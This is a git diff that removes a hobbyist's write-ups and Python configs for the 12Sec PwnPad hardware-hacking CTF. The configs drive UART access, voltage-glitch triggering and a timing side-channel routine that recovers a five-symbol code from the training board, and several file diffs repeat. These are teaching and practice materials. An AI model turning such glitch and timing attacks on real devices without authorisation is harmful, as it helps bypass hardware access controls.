"TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py deleted file mode 100644 index 01de69c..0000000 --- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py +++ /dev/null @@ -1,152 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, 